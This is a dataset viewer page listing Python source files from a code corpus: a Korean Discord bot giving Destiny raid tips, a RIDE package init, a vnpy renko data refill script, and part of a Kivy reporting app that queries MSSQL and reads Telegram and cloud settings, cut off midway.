lparkourer10/starcoder-python5b · Datasets at Hugging Face

ace8b15cfe2e9b8a248347f5ce43fd0ec4795efc

11,532

py

Python

main.py

ruby3141/Destiny-Bot

16353544d53a53e106a1ecb35478a713cf2aebd4

[ "MIT" ]

null

main.py

ruby3141/Destiny-Bot

16353544d53a53e106a1ecb35478a713cf2aebd4

[ "MIT" ]

null

main.py

ruby3141/Destiny-Bot

16353544d53a53e106a1ecb35478a713cf2aebd4

[ "MIT" ]

null

import asyncio from configparser import ConfigParser import copy import json import os import random import re from collections import defaultdict import discord import atexit from utility.issue import show_issue from utility.init import * from raid.dsc import * from raid.gos import * from raid.lw import * from raid.no_named import * from utility.utility import * from utility.issue import * client = discord.Client() user = discord.User config = ConfigParser() config.read('./env/config.ini') token = config['Default']['token'] ignore_user_set = set() @client.event async def on_ready(): print('We have logged in as {0.user}'.format(client)) # 봇 권한이 있는 곳에만 쓰도록 허락하자. for guild in client.guilds: for channel in guild.text_channels: if channel.name == "개발-테스트": await channel.send("으음... 여기가 어디죠?") @client.event async def on_message(message): #config 파일로 관리하는 방법 없을까 리스트도 너무 지저분한데... call_string = '사기라' activity_list = init_activity() raid_list = init_raid() raid_summary_list = ['마소','구정','딥스톤'] error_message = f'{message.author.name} 수호자님, 제가 알아들을 수 있는 말로 부탁드릴게요. **사기라 사용법**을 쓰면 제가 어떤 말을 알아듣는지 알 수 있을 거에요.' if message.author.bot: return if message.content.startswith(call_string): option = message.content.split(" ") option = option[1:] if len(option) == 0: num = 0 else: num = init_num(option[-1]) if num == -1 or num > 10: await message.channel.send(f"반복은 메세지가 너무 많아지는 것을 방지하기 위해서 10번 이하로만 돌리도록 하고 있어요.") await message.channel.send(f"하지만 반복 횟수를 너무 많이 설정한 거 같아요. 그래서 한 번만 한다고 생각하고 말해드릴게요.") num = 1 #이스터 에그 if message.author.id in ignore_user_set: if len(option) > 0 and option[0] in ['미안', '미안해', '안그럴게']: ignore_user_set.remove(message.author.id) await message.channel.send("이번 한 번만 봐드릴게요. 또 그러기만 해 봐요.") else: await message.channel.send("절 죽이려 한 것에 대해 사과하기 전까지는 아무것도 실행하지 않을래요.") elif len(option) == 0: await message.channel.send(f"왜 그러시죠? {message.author.name} 수호자님?") elif option[0] == '자폭해': ignore_user_set.add(message.author.id) await message.channel.send(f"{message.author.name} 수호자님? 어떻게... 저를 죽이려 하실 수가 있죠?") elif '자발라' in option: await message.channel.send("여기서 그 파란 빡빡이를 왜 찾으시는 거죠?") await message.channel.send("자발라를 찾은 이상, 아무것도 실행하지 않을래요.") elif option[0] == '가위바위보' or option[0] == "감맘보": choose_one = random.choice(['가위','바위','보']) await message.channel.send(choose_one) elif option[0] == '랜덤': #랜덤 if len(option) == 1 or (len(option) == 2 and num > 0 and '번' in option[1]): activity_num_dict = defaultdict(lambda:0) for _ in range(num): choosen_activity = choosen(activity_list) activity_num_dict[choosen_activity] += 1 text_dict = change_activity_text_dict(activity_num_dict) for x in text_dict: await message.channel.send(x) #랜덤 레이드 elif option[1] == '레이드': raid_num_dict = defaultdict(lambda:0) for _ in range(num): choosen_raid = choosen(raid_list) raid_num_dict[choosen_raid] += 1 text_dict = change_raid_text_dict(raid_num_dict) for x in text_dict: await message.channel.send(x) else: await message.channel.send(error_message) elif option[0] in raid_summary_list: if option[0] == '마소': if len(option) == 1: lw_string = print_lw_named() elif option[1] == '1넴' or option[1] == '1네임드': lw_string = print_no_named() elif option[1] == '2넴' or option[1] == '2네임드': lw_string = print_lw_sec_named() elif option[1] == '3넴' or option[1] == '3네임드': lw_string = print_lw_third_named() elif option[1] == '4넴' or option[1] == '4네임드': lw_string = print_lw_forth_named() elif option[1] == '5넴' or option[1] == '5네임드': lw_string = print_no_named() elif option[1] == '6넴' or option[1] == '6네임드': lw_string = print_no_named() else: lw_string = "수호자님, 마지막 소원은 6보스로 되어 있는 거 아시죠? 아니면 명령어를 잘못 입력한 거 같은데... 확인해주세요." await message.channel.send(lw_string) elif option[0] == '구정': if len(option) == 1: gos_string = print_gos_named() elif option[1] == '1넴' or option[1] == '1네임드': gos_string = print_gos_first_named() elif option[1] == '2넴' or option[1] == '2네임드': gos_string = print_gos_sec_named() elif option[1] == '3넴' or option[1] == '3네임드': gos_string = print_gos_third_named() elif option[1] == '4넴' or option[1] == '4네임드': gos_string = print_gos_forth_named() else: gos_string = "수호자님, 구원의 정원은 보스가 총 4명 있는 거 아시죠? 아니면 명령어를 잘못 입력한 거 같은데... 확인해주세요." await message.channel.send(gos_string) else: if len(option) == 1: dsc_string = print_dsc_named() elif option[1] == '1넴' or option[1] == '1네임드': dsc_string = print_dsc_first_named() elif option[1] == '2넴' or option[1] == '2네임드': dsc_string = print_dsc_sec_named() elif option[1] == '3넴' or option[1] == '3네임드': dsc_string = print_no_named() elif option[1] == '4넴' or option[1] == '4네임드': dsc_string = print_dsc_forth_named() else: dsc_string = "수호자님, 딥스톤 무덤은 4명의 보스가 대기하고 있는 거 아시죠? 아니면 명령어를 잘못 입력한 거 같은데... 확인해주세요." await message.channel.send(dsc_string) elif option[0] == '사용법' or option[0] == 'help' or option[0] == '도움': use_string = usage() await message.channel.send(use_string) elif option[0] == '소라고동' or option[0] == '소라고둥': choose_one = random.choice(['그럼요. 물론이죠.','아니요.','음... 잘 모르겠네요. 오시리스에게 한 번 물어보죠...']) await message.channel.send(choose_one) elif option[0] == '안녕': await message.channel.send(f"{message.author.name} 수호자님, 안녕하세요?") # elif option[0] == '오늘': #오늘 # if len(option) < 1: # await message.channel.send("봇을 사용할 수 없습니다, 명령어가 없는게 아닐지?") # elif len(option) == 1: # await message.channel.send("오늘 돌아야 하는 것에 대해서 말씀드릴게요.") # today_count = additive_option(count_activity) # today_all_dict = multiple_activity(random_activity,today_count) # for printer_ in print_random_dict(today_all_dict): # await message.channel.send(printer_) # elif option[1] == '하드': # mode = random.randint(0,1) # if mode == 0: # option_set = ['easy','hard'] # else: # option_set = ['hard','easy'] # today_count = additive_option(count_activity, option = option_set[0]) # today_all_dict = multiple_activity(random_activity,today_count,option = option_set[1]) # for printer_ in print_random_dict(today_all_dict): # await message.channel.send(printer_) # elif option[1] == '라이트': # today_count = additive_option(count_activity, option = 'easy') # today_all_dict = multiple_activity(random_activity,today_count) # for printer_ in print_random_dict(today_all_dict): # await message.channel.send(printer_) # elif option[1] == "공격전": # if len(option) == 3: # strike_num = additive_option(count_strike,option[2]) # else: # strike_num = count_strike() # string = string_format('공격전',strike_num) # await message.channel.send(string) # elif option[1] == "레이드": # if len(option) == 3: # raid_num = additive_option(count_activity,option[2]) # else : # raid_num = count_activity() # string = string_format('레이드',raid_num) # await message.channel.send(string) # if len(option) > 3 or (len(option) == 3 and (option[2] != '라이트' and option[2] != '하드')): # raid_dict = multiple_activity(random_raid,raid_num) # for key, value in raid_dict.items(): # string = print_raid(key) # string = string + f" {str(value)}번 정도면 충분할 거 같아요." # await message.channel.send(string) # elif option[1] == "시장" or option[1].startswith("시련"): # if len(option) >2 : # crucible_num = additive_option(count_activity,option[2]) # else : # crucible_num = count_activity() # string = string_format('시련의 장',crucible_num) # await message.channel.send(string) # else: # await message.channel.send("어... 수호자님... 뭐라고요...?") # #활동 # elif option[0] == command_list[4]: # string = random_activity() # string = print_activity(string) # await message.channel.send(string) # #레이드 # elif option[0] == command_list[3]: # string = random_raid() # string = print_raid(string) # await message.channel.send(string) elif option[0] == '업데이트': await message.channel.send(show_issue()) else: await message.channel.send(error_message) def additive_option(func_name,option = 'normal'): if option == "easy" or option == "라이트": result_num = func_name(option = 'easy') elif option == "hard" or option == "하드": result_num = func_name(option = 'hard') else : result_num = func_name(option = 'normal') return result_num def count_strike(option='normal'): if option == 'easy': strike_num = random.randint(1,3) else : #normal, hard strike_num = random.randint(3,30) return strike_num def count_activity(option='normal'): if option == 'easy': raid_num = random.randint(1,2) elif option == 'hard': raid_num = random.randint(5,10) else: # option == 'normal': raid_num = random.randint(3,6) return raid_num def string_format(option='공격전',num=0): string = f"오늘 {option} 몇 판 가야 하나요? {str(num)}판" return string #must be iterator def multiple_activity(func,num,option = 'normal'): activity_dict = dict() for _ in range(num): find_activity = func(option) if find_activity not in activity_dict: activity_dict[find_activity] = 1 else: activity_dict[find_activity] += 1 return activity_dict client.run(token)

39.765517

117

0.538935

ace8b18cff3facba9d2d521e1b87397cb3a2533b

640

py

Python

src/robotide/namespace/__init__.py

hoteltianya/RIDE

dcdccfec631517743d24c8e31fc6687fd29338a0

[ "ECL-2.0", "Apache-2.0" ]

11

2017-09-30T05:47:28.000Z

2019-04-15T11:58:40.000Z

src/robotide/namespace/__init__.py

hoteltianya/RIDE

dcdccfec631517743d24c8e31fc6687fd29338a0

[ "ECL-2.0", "Apache-2.0" ]

null

src/robotide/namespace/__init__.py

hoteltianya/RIDE

dcdccfec631517743d24c8e31fc6687fd29338a0

[ "ECL-2.0", "Apache-2.0" ]

7

2018-02-13T10:22:39.000Z

2019-07-04T07:39:28.000Z

# Copyright 2008-2015 Nokia Solutions and Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from namespace import Namespace

40

75

0.759375

ace8b1b3a51a2ad868b3cc67bb3bf3632620e54c

1,046

py

Python

prod/jobs/refill_future_renko.py

howyu88/vnpy2

c8ae445823dc1f71abda1a79fae7d4be3dd92dd4

[ "MIT" ]

323

2015-11-21T14:45:29.000Z

2022-03-16T08:54:37.000Z

prod/jobs/refill_future_renko.py

howyu88/vnpy2

c8ae445823dc1f71abda1a79fae7d4be3dd92dd4

[ "MIT" ]

9

2017-03-21T08:26:21.000Z

2021-08-23T06:41:17.000Z

prod/jobs/refill_future_renko.py

howyu88/vnpy2

c8ae445823dc1f71abda1a79fae7d4be3dd92dd4

[ "MIT" ]

148

2016-09-26T03:25:39.000Z

2022-02-06T14:43:48.000Z

# flake8: noqa # 自动补全期货指数合约renko bar => Mongodb # 下载的tick数据缓存 => tick_data/tdx/future import sys, os, copy, csv, signal vnpy_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..')) if vnpy_root not in sys.path: print(f'append {vnpy_root} into sys.path') sys.path.append(vnpy_root) os.environ["VNPY_TESTING"] = "1" from vnpy.data.renko.rebuild_future import * if __name__ == "__main__": if len(sys.argv) < 4: print(u'请输入三个参数 host symbol pricetick') exit() print(sys.argv) host = sys.argv[1] setting = { "host": host, "db_name": FUTURE_RENKO_DB_NAME, "cache_folder": os.path.join(vnpy_root, 'tick_data', 'tdx', 'future') } builder = FutureRenkoRebuilder(setting) symbol = sys.argv[2] price_tick = float(sys.argv[3]) print(f'启动期货renko补全,数据库:{host}/{FUTURE_RENKO_DB_NAME} 合约:{symbol}') builder.start(symbol=symbol, price_tick=price_tick, height=[3, 5, 10, 'K3', 'K5', 'K10'], refill=True) print(f'exit refill {symbol} renkos')

26.820513

106

0.651052

ace8b1d208142656a18b6cba992440ac1d08c2eb

311,061

py

Python

barsicreport2.py

sendhello/Barsic.Report

3dc4bd1957df52b90b18f1cabf0ebba4ea6baec9

[ "MIT" ]

1

2018-08-14T16:40:49.000Z

barsicreport2.py

sendhello/Barsic.Report

3dc4bd1957df52b90b18f1cabf0ebba4ea6baec9

[ "MIT" ]

4

2021-03-31T20:08:57.000Z

2022-02-26T12:33:28.000Z

barsicreport2.py

sendhello/Barsic.Report

3dc4bd1957df52b90b18f1cabf0ebba4ea6baec9

[ "MIT" ]

null

# -*- coding: utf-8 -*- import os import sys from ast import literal_eval import logging from datetime import datetime, timedelta import pyodbc from typing import Dict, List, Any from decimal import Decimal from lxml import etree, objectify import csv from openpyxl import Workbook from openpyxl.styles import PatternFill, Border, Side, Alignment, Protection, Font, Side from dateutil.relativedelta import relativedelta from typing import Tuple from kivy.app import App from kivy.uix.modalview import ModalView from kivy.lang import Builder from kivy.core.window import Window from kivy.config import ConfigParser from kivy.clock import Clock from kivy.utils import get_color_from_hex, get_hex_from_color from kivy.metrics import dp from kivy.properties import ObjectProperty, StringProperty from kivymd.dialog import MDDialog from kivymd.bottomsheet import MDListBottomSheet, MDGridBottomSheet from kivymd.textfields import MDTextField from main import __version__ from libs.translation import Translation from libs.uix.baseclass.startscreen import StartScreen from libs.uix.lists import Lists from libs.utils.showplugins import ShowPlugins from libs import functions, to_google_sheets from kivymd.theming import ThemeManager from kivymd.label import MDLabel from kivymd.time_picker import MDTimePicker from kivymd.date_picker import MDDatePicker from toast import toast from dialogs import card import yadisk import urllib import re import requests import webbrowser import httplib2 import apiclient.discovery from oauth2client.service_account import ServiceAccountCredentials import telepot import socks, socket import time logging.basicConfig(filename="barsic_reports.log", level=logging.INFO) class BarsicReport2(App): """ Функционал программы. """ title = 'Барсик.Отчеты' icon = 'icon.png' nav_drawer = ObjectProperty() theme_cls = ThemeManager() theme_cls.primary_palette = 'Purple' theme_cls.theme_style = 'Light' lang = StringProperty('ru') previous_date_from = ObjectProperty() previous_date_to = ObjectProperty() def __init__(self, **kvargs): super(BarsicReport2, self).__init__(**kvargs) Window.bind(on_keyboard=self.events_program) Window.soft_input_mode = 'below_target' self.list_previous_screens = ['base'] self.window = Window self.plugin = ShowPlugins(self) self.config = ConfigParser() self.manager = None self.window_language = None self.exit_interval = False self.dict_language = literal_eval( open( os.path.join(self.directory, 'data', 'locales', 'locales.txt')).read() ) self.translation = Translation( self.lang, 'Ttest', os.path.join(self.directory, 'data', 'locales') ) self.date_from = datetime.strptime(datetime.now().strftime('%Y-%m-%d'), '%Y-%m-%d') self.date_to = self.date_from + timedelta(1) self.org1 = None self.org2 = None self.org3 = None self.count_sql_error = 0 self.org_for_finreport = {} self.new_service = [] self.orgs = [] self.new_agentservice = [] self.agentorgs = [] def get_application_conorgfig(self): return super(BarsicReport2, self).get_application_config( '{}/%(appname)s.ini'.format(self.directory)) def build_config(self, config): """Создаёт файл настроек приложения barsicreport2.ini.""" config.adddefaultsection('General') config.setdefault('General', 'language', 'ru') config.setdefault('General', 'finreport_xls', 'False') config.setdefault('General', 'finreport_google', 'False') config.setdefault('General', 'finreport_telegram', 'False') config.setdefault('General', 'agentreport_xls', 'False') config.setdefault('General', 'split_by_days', 'False') config.setdefault('General', 'date_switch', 'True') config.setdefault('General', 'use_yadisk', 'False') config.setdefault('General', 'check_client_count_total_xls', 'False') config.setdefault('General', 'check_cashreport_xls', 'False') config.setdefault('General', 'check_itogreport_xls', 'False') config.adddefaultsection('MSSQL') config.setdefault('MSSQL', 'driver', '{SQL Server}') config.setdefault('MSSQL', 'server', '127.0.0.1\\SQLEXPRESS') config.setdefault('MSSQL', 'user', 'sa') config.setdefault('MSSQL', 'pwd', 'password') config.setdefault('MSSQL', 'database1', 'database') config.setdefault('MSSQL', 'database2', 'database') config.setdefault('MSSQL', 'database_bitrix', 'database') config.setdefault('MSSQL', 'server_rk', '127.0.0.1\\SQLEXPRESS') config.setdefault('MSSQL', 'user_rk', 'sa') config.setdefault('MSSQL', 'pwd_rk', 'password') config.setdefault('MSSQL', 'database_rk', 'database') config.adddefaultsection('PATH') config.setdefault('PATH', 'reportXML', 'data/org_for_report.xml') config.setdefault('PATH', 'agentXML', 'data/org_plat_agent.xml') config.setdefault('PATH', 'itogreportXML', 'data/group_for_itogreport.xml') config.setdefault('PATH', 'local_folder', 'report') config.setdefault('PATH', 'path', 'report') config.setdefault('PATH', 'CREDENTIALS_FILE', 'data/1720aecc5640.json') config.setdefault('PATH', 'list_google_docs', 'data/list_google_docs.csv') config.adddefaultsection('Bitrix') config.setdefault('Bitrix', 'bitrix_exchange_url', 'example.site') config.setdefault('Bitrix', 'bitrix_exchange_path', '/bitrix/admin/1c_exchange.php') config.setdefault('Bitrix', 'bitrix_login', 'login') config.setdefault('Bitrix', 'bitrix_password', 'password') config.adddefaultsection('Yadisk') config.setdefault('Yadisk', 'yadisk_token', 'token') config.adddefaultsection('Telegram') config.setdefault('Telegram', 'telegram_token', '111111111:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') config.setdefault('Telegram', 'telegram_chanel_id', '111111111111') config.setdefault('Telegram', 'telegram_proxy_use', 'False') config.setdefault('Telegram', 'telegram_proxy_type', '#PROXY_TYPE_SOCKS4 or PROXY_TYPE_SOCKS5 or PROXY_TYPE_HTTP') config.setdefault('Telegram', 'telegram_proxy_ip', '127.0.0.1') config.setdefault('Telegram', 'telegram_proxy_port', '1080') config.setdefault('Telegram', 'telegram_proxy_auth', 'False') config.setdefault('Telegram', 'telegram_proxy_username', 'username') config.setdefault('Telegram', 'telegram_proxy_password', 'password') config.adddefaultsection('GoogleShets') config.setdefault('GoogleShets', 'google_all_read', 'False') config.setdefault('GoogleShets', 'google_reader_list', '') config.setdefault('GoogleShets', 'google_writer_list', '') def set_value_from_config(self): '''Устанавливает значения переменных из файла настроек barsicreport2.ini.''' self.config.read(os.path.join(self.directory, 'barsicreport2.ini')) self.lang = self.config.get('General', 'language') self.finreport_xls = functions.to_bool(self.config.get('General', 'finreport_xls')) self.finreport_google = functions.to_bool(self.config.get('General', 'finreport_google')) self.finreport_telegram = functions.to_bool(self.config.get('General', 'finreport_telegram')) self.agentreport_xls = functions.to_bool(self.config.get('General', 'agentreport_xls')) # self.split_by_days = functions.to_bool(self.config.get('General', 'split_by_days')) self.split_by_days = False self.date_switch = functions.to_bool(self.config.get('General', 'date_switch')) self.use_yadisk = functions.to_bool(self.config.get('General', 'use_yadisk')) self.check_client_count_total_xls = functions.to_bool(self.config.get('General', 'check_client_count_total_xls')) self.check_cashreport_xls = functions.to_bool(self.config.get('General', 'check_cashreport_xls')) self.check_itogreport_xls = functions.to_bool(self.config.get('General', 'check_itogreport_xls')) self.driver = self.config.get('MSSQL', 'driver') self.server = self.config.get('MSSQL', 'server') self.user = self.config.get('MSSQL', 'user') self.pwd = self.config.get('MSSQL', 'pwd') self.database1 = self.config.get('MSSQL', 'database1') self.database2 = self.config.get('MSSQL', 'database2') self.database_bitrix = self.config.get('MSSQL', 'database_bitrix') self.server_rk = self.config.get('MSSQL', 'server_rk') self.user_rk = self.config.get('MSSQL', 'user_rk') self.pwd_rk = self.config.get('MSSQL', 'pwd_rk') self.database_rk = self.config.get('MSSQL', 'database_rk') self.reportXML = self.config.get('PATH', 'reportXML') self.agentXML = self.config.get('PATH', 'agentXML') self.itogreportXML = self.config.get('PATH', 'itogreportXML') self.local_folder = self.config.get('PATH', 'local_folder') self.path = self.config.get('PATH', 'path') self.CREDENTIALS_FILE = self.config.get('PATH', 'CREDENTIALS_FILE') self.list_google_docs = self.config.get('PATH', 'list_google_docs') self.yadisk_token = self.config.get('Yadisk', 'yadisk_token') self.bitrix_exchange_url = self.config.get('Bitrix', 'bitrix_exchange_url') self.bitrix_exchange_path = self.config.get('Bitrix', 'bitrix_exchange_path') self.bitrix_login = self.config.get('Bitrix', 'bitrix_login') self.bitrix_password = self.config.get('Bitrix', 'bitrix_password') self.telegram_token = self.config.get('Telegram', 'telegram_token') self.telegram_chanel_id = self.config.get('Telegram', 'telegram_chanel_id') # '215624388' self.telegram_proxy_use = functions.to_bool(self.config.get('Telegram', 'telegram_proxy_use')) self.telegram_proxy_type = self.config.get('Telegram', 'telegram_proxy_type') self.telegram_proxy_ip = self.config.get('Telegram', 'telegram_proxy_ip') self.telegram_proxy_port = self.config.get('Telegram', 'telegram_proxy_port') self.telegram_proxy_auth = functions.to_bool(self.config.get('Telegram', 'telegram_proxy_auth')) self.telegram_proxy_username = self.config.get('Telegram', 'telegram_proxy_username') self.telegram_proxy_password = self.config.get('Telegram', 'telegram_proxy_password') self.google_all_read = functions.to_bool(self.config.get('GoogleShets', 'google_all_read')) self.google_reader_list = self.config.get('GoogleShets', 'google_reader_list') self.google_writer_list = self.config.get('GoogleShets', 'google_writer_list') def build(self): self.set_value_from_config() self.load_all_kv_files(os.path.join(self.directory, 'libs', 'uix', 'kv')) self.screen = StartScreen() # главный экран программы self.manager = self.screen.ids.manager self.nav_drawer = self.screen.ids.nav_drawer return self.screen def load_all_kv_files(self, directory_kv_files): for kv_file in os.listdir(directory_kv_files): kv_file = os.path.join(directory_kv_files, kv_file) if os.path.isfile(kv_file): with open(kv_file, encoding='utf-8') as kv: Builder.load_string(kv.read()) def events_program(self, instance, keyboard, keycode, text, modifiers): '''Вызывается при нажатии кнопки Меню или Back Key на мобильном устройстве.''' if keyboard in (1001, 27): if self.nav_drawer.state == 'open': self.nav_drawer.toggle_nav_drawer() self.back_screen(event=keyboard) elif keyboard in (282, 319): pass return True def back_screen(self, event=None): '''Менеджер экранов. Вызывается при нажатии Back Key и шеврона "Назад" в ToolBar.''' # Нажата BackKey. if event in (1001, 27): if self.manager.current == 'base': self.dialog_exit() return try: self.manager.current = self.list_previous_screens.pop() except: self.manager.current = 'base' self.screen.ids.action_bar.title = self.title self.screen.ids.action_bar.left_action_items = \ [['menu', lambda x: self.nav_drawer._toggle()]] def show_plugins(self, *args): '''Выводит на экран список плагинов.''' self.plugin.show_plugins() def show_about(self, *args): self.nav_drawer.toggle_nav_drawer() self.screen.ids.about.ids.label.text = \ self.translation._( u'[size=20][b]Барсик.Отчеты[/b][/size]\n\n' u'[b]Version:[/b] {version}\n' u'[b]License:[/b] Corporate\n\n' u'[size=20][b]Developer[/b][/size]\n\n' u'[ref=github.com/sendhello]' u'[color={link_color}]SendHello[/color][/ref]\n\n' u'[b]Source code:[/b] ' u'[ref=github.com/sendhello/Barsic.Report]' u'[color={link_color}]GitHub[/color][/ref]').format( version=__version__, link_color=get_hex_from_color(self.theme_cls.primary_color) ) self.manager.current = 'about' self.screen.ids.action_bar.left_action_items = \ [['chevron-left', lambda x: self.back_screen(27)]] def show_reports(self, *args): """ Переход на экран ОТЧЕТЫ :param args: :return: """ self.nav_drawer.toggle_nav_drawer() self.manager.current = 'report' self.screen.ids.action_bar.left_action_items = \ [['chevron-left', lambda x: self.back_screen(27)]] # Загрузка параметров из INI-файла self.load_checkbox() self.set_date_from(datetime.now().date()) def show_license(self, *args): """ Переход на экран ЛИЦЕНЗИЯ :param args: :return: """ self.screen.ids.license.ids.text_license.text = \ self.translation._('%s') % open( os.path.join(self.directory, 'LICENSE'), encoding='utf-8').read() self.nav_drawer._toggle() self.manager.current = 'license' self.screen.ids.action_bar.left_action_items = \ [['chevron-left', lambda x: self.back_screen(27)]] self.screen.ids.action_bar.title = \ self.translation._('MIT LICENSE') def select_locale(self, *args): """ Выводит окно со списком имеющихся языковых локализаций для установки языка приложения. :param args: :return: """ def select_locale(name_locale): """ Устанавливает выбранную локализацию. :param name_locale: :return: """ for locale in self.dict_language.keys(): if name_locale == self.dict_language[locale]: self.lang = locale self.config.set('General', 'language', self.lang) self.config.write() dict_info_locales = {} for locale in self.dict_language.keys(): dict_info_locales[self.dict_language[locale]] = \ ['locale', locale == self.lang] if not self.window_language: self.window_language = card( Lists( dict_items=dict_info_locales, events_callback=select_locale, flag='one_select_check' ), size=(.85, .55) ) self.window_language.open() def dialog_exit(self): def check_interval_press(interval): self.exit_interval += interval if self.exit_interval > 5: self.exit_interval = False Clock.unschedule(check_interval_press) if self.exit_interval: sys.exit(0) Clock.schedule_interval(check_interval_press, 1) toast(self.translation._('Press Back to Exit')) def show_dialog(self, title, text, func=functions.func_pass, *args, **kwargs): content = MDLabel(font_style='Body1', theme_text_color='Secondary', text=text, size_hint_y=None, valign='top') content.bind(texture_size=content.setter('size')) dialog = MDDialog(title=title, content=content, size_hint=(.8, None), height=dp(200), auto_dismiss=False) dialog.add_action_button("Закрыть", action=lambda *x: (dialog.dismiss(), func(*args, **kwargs))) dialog.open() def show_dialog_variant(self, title, text, func=functions.func_pass, *args, **kwargs): content = MDLabel(font_style='Body1', theme_text_color='Secondary', text=text, size_hint_y=None, valign='top') content.bind(texture_size=content.setter('size')) dialog = MDDialog(title=title, content=content, size_hint=(.8, None), height=dp(200), auto_dismiss=False) dialog.add_action_button("ДА", action=lambda *x: (dialog.dismiss(), func(*args, **kwargs))) dialog.add_action_button("Нет", action=lambda *x: (dialog.dismiss(), False)) dialog.open() def show_dialog_variant2(self, title, text, func_yes=functions.func_pass, func_no=functions.func_pass): content = MDLabel(font_style='Body1', theme_text_color='Secondary', text=text, size_hint_y=None, valign='top') content.bind(texture_size=content.setter('size')) dialog = MDDialog(title=title, content=content, size_hint=(.8, None), height=dp(200), auto_dismiss=False) dialog.add_action_button("ДА", action=lambda *x: (dialog.dismiss(), func_yes)) dialog.add_action_button("Нет", action=lambda *x: (dialog.dismiss(), func_no)) dialog.open() def on_lang(self, instance, lang): self.translation.switch_lang(lang) def get_time_picker_data(self, instance, time): self.root.ids.time_picker_label.text = str(time) self.previous_time = time def show_time_picker(self): self.time_dialog = MDTimePicker() self.time_dialog.bind(time=self.get_time_picker_data) if self.root.ids.time_picker_use_previous_time.active: try: self.time_dialog.set_time(self.previous_time) except AttributeError: pass self.time_dialog.open() def set_date_from(self, date_obj): self.previous_date_from = date_obj self.date_from = datetime.strptime(str(date_obj), '%Y-%m-%d') self.root.ids.report.ids.date_from.text = str(date_obj) if self.date_to < self.date_from or self.root.ids.report.ids.date_switch.active: self.set_date_to(date_obj) logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Установка периода отчета на {self.date_from} - {self.date_to}') def show_date_from(self): pd = self.previous_date_from try: MDDatePicker(self.set_date_from, pd.year, pd.month, pd.day).open() except AttributeError: MDDatePicker(self.set_date_from).open() def set_date_to(self, date_obj): self.previous_date_to = date_obj self.date_to = datetime.strptime(str(date_obj), '%Y-%m-%d') + timedelta(1) self.root.ids.report.ids.date_to.text = str(date_obj) if self.date_to < self.date_from: self.set_date_from(date_obj) logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Установка периода отчета на {self.date_from} - {self.date_to}') def show_date_to(self): if self.root.ids.report.ids.date_switch.active: pass else: pd = self.previous_date_to try: MDDatePicker(self.set_date_to, pd.year, pd.month, pd.day).open() except AttributeError: MDDatePicker(self.set_date_to).open() def click_date_switch(self): if self.root.ids.report.ids.date_switch.active: self.date_switch = True self.root.ids.report.ids.label_date.text = 'Дата:' self.set_date_to(self.date_from.date() + timedelta(1)) self.root.ids.report.ids.date_to.theme_text_color = 'Secondary' self.root.ids.report.ids.split_by_days.active = False self.root.ids.report.ids.split_by_days.disabled = True self.root.ids.report.ids.split_by_days_text.theme_text_color = 'Secondary' self.change_checkbox('split_by_days', False) self.root.ids.report.ids.finreport_google_text.disabled = False self.root.ids.report.ids.finreport_google.disabled = False else: self.date_switch = False self.root.ids.report.ids.label_date.text = 'Период:' self.root.ids.report.ids.date_to.theme_text_color = 'Primary' self.root.ids.report.ids.split_by_days.disabled = False self.root.ids.report.ids.split_by_days.active = True self.root.ids.report.ids.split_by_days_text.theme_text_color = 'Primary' self.change_checkbox('split_by_days', True) def count_clients( self, driver, server, database, uid, pwd, ): """ Количество человек в зоне :return: Количество человек в зоне """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Выполнение функции "count_clients"') result = [] try: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Попытка соединения с {server}') cnxn = pyodbc.connect( f'DRIVER={driver};SERVER={server};DATABASE={database};UID={uid};PWD={pwd}') cursor = cnxn.cursor() cursor.execute(""" SELECT [gr].[c1] as [c11], [gr].[StockCategory_Id] as [StockCategory_Id1], [c].[Name], [c].[NN] FROM ( SELECT [_].[CategoryId] as [StockCategory_Id], Count(*) as [c1] FROM [AccountStock] [_] INNER JOIN [SuperAccount] [t1] ON [_].[SuperAccountId] = [t1].[SuperAccountId] WHERE [_].[StockType] = 41 AND [t1].[Type] = 0 AND [_].[Amount] > 0 AND NOT ([t1].[IsStuff] = 1) GROUP BY [_].[CategoryId] ) [gr] INNER JOIN [Category] [c] ON [gr].[StockCategory_Id] = [c].[CategoryId] """) while True: row = cursor.fetchone() if row: result.append(row) else: break logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Результат функции "count_clients": {result}') if not result: result.append(('Пусто', 488, '', '0003')) except pyodbc.OperationalError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка {repr(e)}') result.append(('Нет данных', 488, 'Ошибка соединения', repr(e))) self.show_dialog(f'Ошибка соединения с {server}: {database}', repr(e)) except pyodbc.ProgrammingError as e: logging.error(f'{__name__}: {str(datetime.now())[:-7]}: Ошибка {repr(e)}') result.append(('Нет данных', 488, 'Ошибка соединения', repr(e))) self.show_dialog(f'Невозможно открыть {database}', repr(e)) return result def count_clients_print(self): in_zone = self.count_clients( driver=self.driver, server=self.server, database=self.database1, uid=self.user, pwd=self.pwd, ) self.click_select_org() try: count_clients = int(self.itog_report( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], org_name=self.org1[1], date_from=datetime.now(), date_to=datetime.now()+timedelta(1), hide_zeroes='0', hide_internal='1', )['Аквазона'][0]) except KeyError: count_clients = 0 try: count_clients_allday = self.reportClientCountTotals( server=self.server, database=self.database1, driver=self.driver, user=self.user, pwd=self.pwd, org=self.org1[0], date_from=datetime.now(), date_to=datetime.now() + timedelta(1), )[0][1] except IndexError: count_clients_allday = 0 self.screen.ids.base.ids.count_clients.text = str(count_clients) + ' / ' + str(count_clients_allday) self.screen.ids.base.ids.name_zone.text = str(in_zone[len(in_zone) - 1][2]) self.screen.ids.base.ids.count.text = str(in_zone[len(in_zone) - 1][0]) # -------------------------------Кнопки вывода списка организаций для выбора---------------------------------------- # def select_org1(self): # """ # Вывод списка организаций # :return: # """ # org_list = self.list_organisation( # server=self.server, # database=self.database1, # uid=self.user, # 